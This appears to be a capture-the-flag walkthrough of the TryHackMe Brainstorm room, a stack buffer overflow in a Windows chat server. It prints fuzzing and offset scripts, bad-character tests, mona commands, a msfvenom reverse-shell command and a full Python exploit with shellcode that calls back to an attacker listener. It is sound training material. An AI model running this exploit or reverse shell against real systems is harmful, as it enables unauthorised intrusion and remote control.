THM Brainstorm Walkthrough

Reverse engineer a chat program and write a script to exploit a Windows machine.
THM Room: here


Information Gathering

Let's begin with a nmap scan to gather some information:

sudo nmap -p 1-5000-v -Pn 10.10.128.96

Since the the THM Brainstorm machine is blocking ping probes you have to add the -Pn flag.

After we found the two open ports 21, 3389, and 9999 it's time to enumerate them further:

sudo nmap -p 21,3389,9999 -sV -sC -v -Pn -T4 10.10.128.96


Accessing FTP

We can access the FTP server using ftp 10.10.128.96, anonymous as the username and an empty password.

On that server is a directory called "chatserver" that contains two files:

As these files are for execution I changed into the binary mode with binary.

Time to download these two files onto our local machine with get <FILENAME>.

I then transferred those files from my Linux VM onto my Windows VM.


Analyzing the executable

I started ImmunityDebugger with admin privileges and opened the chatserver executable in it.

Looks like there are two attack vectors: The username input and the message input itself. Besides those two there do not appear to be any other user inputs.

Using Python I created a string of A's with a length of 100 characters and used it for my username. Neither on the client-side nor the server-side the application seemed to crash and the username got cut after 20 characters which shows that this user input is probably sanitized in a way that prevents a Buffer Overflow.

I repeated the procedure with a username consisting of 1000x 'A' but the result was the same.

Next, I sent a message of 1,000 'A' which didn't crash the server but when I sent one with a length of 10,000 it did, which means we can probably trigger a Buffer Overflow with the message input.

fa1cac041f92dda11c641a1697c104c6.png


Reproducing the Crash

Now, let's check what amount of bytes triggers a crash, for that the following script was used:

 0import socket
 1import sys
 2import time
 3
 4
 5ip = '10.0.2.15'
 6port = 9999
 7timeout = 5
 8
 9string = 'A' * 100
10
11while True:
12	try:
13		with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
14			s.settimeout(timeout)
15			s.connect((ip, port))
16			s.recv(1024)
17			s.send(bytes('nop\r\n', 'latin-1'))
18			s.recv(1024)
19			print('Fuzzing with {} bytes'.format(len(string)))
20			s.send(bytes(string + '\r\n', 'latin-1'))
21			s.recv(1024)
22	except:
23		print('Fuzzing crashed at {} bytes'.format(len(string)))
24		sys.exit(0)
25	string += 'A' * 100
26	time.sleep(1)

The result was a crash at 2400 bytes.


Finding the exact offset

Time to adjust the above script to find the exact offset for EIP:

 0import socket
 1import sys
 2import time
 3
 4
 5ip = '10.0.2.15'
 6port = 9999
 7timeout = 5
 8
 9string = 'A' * 2000
10string += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9A...'
11
12
13with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
14	s.settimeout(timeout)
15	s.connect((ip, port))
16	s.recv(1024)
17	s.send(bytes('nop\r\n', 'latin-1'))
18	s.recv(1024)
19	s.send(bytes(string + '\r\n', 'latin-1'))
20	s.recv(1024)

The pattern was created using the pattern_create tool provided by the metasploit-framwork:

./pattern_create.rb -l 400

EIP now stores 41346141, we can find the offset with:

./pattern_offset.rb -l 400 -q 41346141

Result: [*] Exact match at offset 12

Finally, we have the offset to control EIP and ESP:

 0import socket
 1
 2ip = '10.0.2.15'
 3port = 9999
 4timeout = 5
 5
 6string = 'A' * 2012
 7string += 'B' * 4
 8string += 'C' * 16
 9
10
11with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
12	s.settimeout(timeout)
13	s.connect((ip, port))
14	s.recv(1024)
15	s.send(bytes('nop\r\n', 'latin-1'))
16	s.recv(1024)
17	s.send(bytes(string + '\r\n', 'latin-1'))

Finding Bad Characters

Let's find potential bad characters with the following script:

 0import socket
 1
 2ip = '10.0.2.15'
 3port = 9999
 4timeout = 5
 5
 6string = 'A' * 2012
 7string += 'B' * 4
 8string += '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
 9
10
11with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
12	s.settimeout(timeout)
13	s.connect((ip, port))
14	s.recv(1024)
15	s.send(bytes('nop\r\n', 'latin-1'))
16	s.recv(1024)
17	s.send(bytes(string + '\r\n', 'latin-1'))

\x00 is not included here because that is a badchar for sure. By analyzing ESP we have to narrow down the characters we can use for our payload.

The memory showed that except \x00 there are no bad characters since from \x01 to \xff all appear.


Creating the exploit

Finally, it's time to craft the final exploit that is going to be used to compromise the TryHackMe Brainstorm machine.

Using msfvenom the shellcode for a reverse shell can be created:

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.27.103 LPORT=4545 -b "\x00" -f python EXITFUNC=thread

"EXITFUNC=thread" prevents the chatserver executable from crashing after we terminate our shell.

Shikata_ga_nai automatically gets selected for encoding, because of that a decoder is needed on the other side to decode our shellcode. To prevent the decoder from overwriting the shellcode itself we are going to add some NOPs (\x90).

The address for EIP can be found using mona (!mona modules and !mona jmp -r esp -cpb "\x00"). As essfunc.dll is not protected by ASLR this is our best hit.

image.png

The second command provides us with the jump points found and their addresses, one of them is at 0x625014eb.

image.png

 0import socket, sys
 1
 2ip = '10.10.164.115'
 3port = 9999
 4timeout = 5
 5
 6buffer = 'A' * 2012
 7buffer += '\xeb\x14\x50\x62'
 8
 9buffer += '\x90' * 16
10shellcode =  b""
11shellcode += b"\xd9\xcb\xbf\xaf\x4c\x4f\xdb\xd9\x74\x24\xf4"
12shellcode += b"\x5a\x31\xc9\xb1\x52\x83\xc2\x04\x31\x7a\x13"
13shellcode += b"\x03\xd5\x5f\xad\x2e\xd5\x88\xb3\xd1\x25\x49"
14shellcode += b"\xd4\x58\xc0\x78\xd4\x3f\x81\x2b\xe4\x34\xc7"
15shellcode += b"\xc7\x8f\x19\xf3\x5c\xfd\xb5\xf4\xd5\x48\xe0"
16shellcode += b"\x3b\xe5\xe1\xd0\x5a\x65\xf8\x04\xbc\x54\x33"
17shellcode += b"\x59\xbd\x91\x2e\x90\xef\x4a\x24\x07\x1f\xfe"
18shellcode += b"\x70\x94\x94\x4c\x94\x9c\x49\x04\x97\x8d\xdc"
19shellcode += b"\x1e\xce\x0d\xdf\xf3\x7a\x04\xc7\x10\x46\xde"
20shellcode += b"\x7c\xe2\x3c\xe1\x54\x3a\xbc\x4e\x99\xf2\x4f"
21shellcode += b"\x8e\xde\x35\xb0\xe5\x16\x46\x4d\xfe\xed\x34"
22shellcode += b"\x89\x8b\xf5\x9f\x5a\x2b\xd1\x1e\x8e\xaa\x92"
23shellcode += b"\x2d\x7b\xb8\xfc\x31\x7a\x6d\x77\x4d\xf7\x90"
24shellcode += b"\x57\xc7\x43\xb7\x73\x83\x10\xd6\x22\x69\xf6"
25shellcode += b"\xe7\x34\xd2\xa7\x4d\x3f\xff\xbc\xff\x62\x68"
26shellcode += b"\x70\x32\x9c\x68\x1e\x45\xef\x5a\x81\xfd\x67"
27shellcode += b"\xd7\x4a\xd8\x70\x18\x61\x9c\xee\xe7\x8a\xdd"
28shellcode += b"\x27\x2c\xde\x8d\x5f\x85\x5f\x46\x9f\x2a\x8a"
29shellcode += b"\xc9\xcf\x84\x65\xaa\xbf\x64\xd6\x42\xd5\x6a"
30shellcode += b"\x09\x72\xd6\xa0\x22\x19\x2d\x23\x47\xd5\x36"
31shellcode += b"\xd4\x3f\xeb\x48\x0b\x01\x62\xae\x41\x91\x23"
32shellcode += b"\x79\xfe\x08\x6e\xf1\x9f\xd5\xa4\x7c\x9f\x5e"
33shellcode += b"\x4b\x81\x6e\x97\x26\x91\x07\x57\x7d\xcb\x8e"
34shellcode += b"\x68\xab\x63\x4c\xfa\x30\x73\x1b\xe7\xee\x24"
35shellcode += b"\x4c\xd9\xe6\xa0\x60\x40\x51\xd6\x78\x14\x9a"
36shellcode += b"\x52\xa7\xe5\x25\x5b\x2a\x51\x02\x4b\xf2\x5a"
37shellcode += b"\x0e\x3f\xaa\x0c\xd8\xe9\x0c\xe7\xaa\x43\xc7"
38shellcode += b"\x54\x65\x03\x9e\x96\xb6\x55\x9f\xf2\x40\xb9"
39shellcode += b"\x2e\xab\x14\xc6\x9f\x3b\x91\xbf\xfd\xdb\x5e"
40shellcode += b"\x6a\x46\xfb\xbc\xbe\xb3\x94\x18\x2b\x7e\xf9"
41shellcode += b"\x9a\x86\xbd\x04\x19\x22\x3e\xf3\x01\x47\x3b"
42shellcode += b"\xbf\x85\xb4\x31\xd0\x63\xba\xe6\xd1\xa1"
43
44
45string = bytes(buffer, 'latin-1')
46string += shellcode
47
48try:
49	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
50		s.settimeout(timeout)
51		s.connect((ip, port))
52		s.recv(1024)
53		s.send(bytes('nop\r\n', 'latin-1'))
54		s.recv(1024)
55		s.send(string)
56		s.recv(1024)
57except Exception as e:
58	print(e)
59finally:
60	s.close()

Time to start the local netcat listener (nc -lvnp 4545) and execute the script.

Eventually, we got our shell as nt authority/system on the system and can obtain the root flag using type in "C:\Users\drake\Desktop".


Tags:

TryHackMe, THM, Brainstorm, Reverse Engineering, RE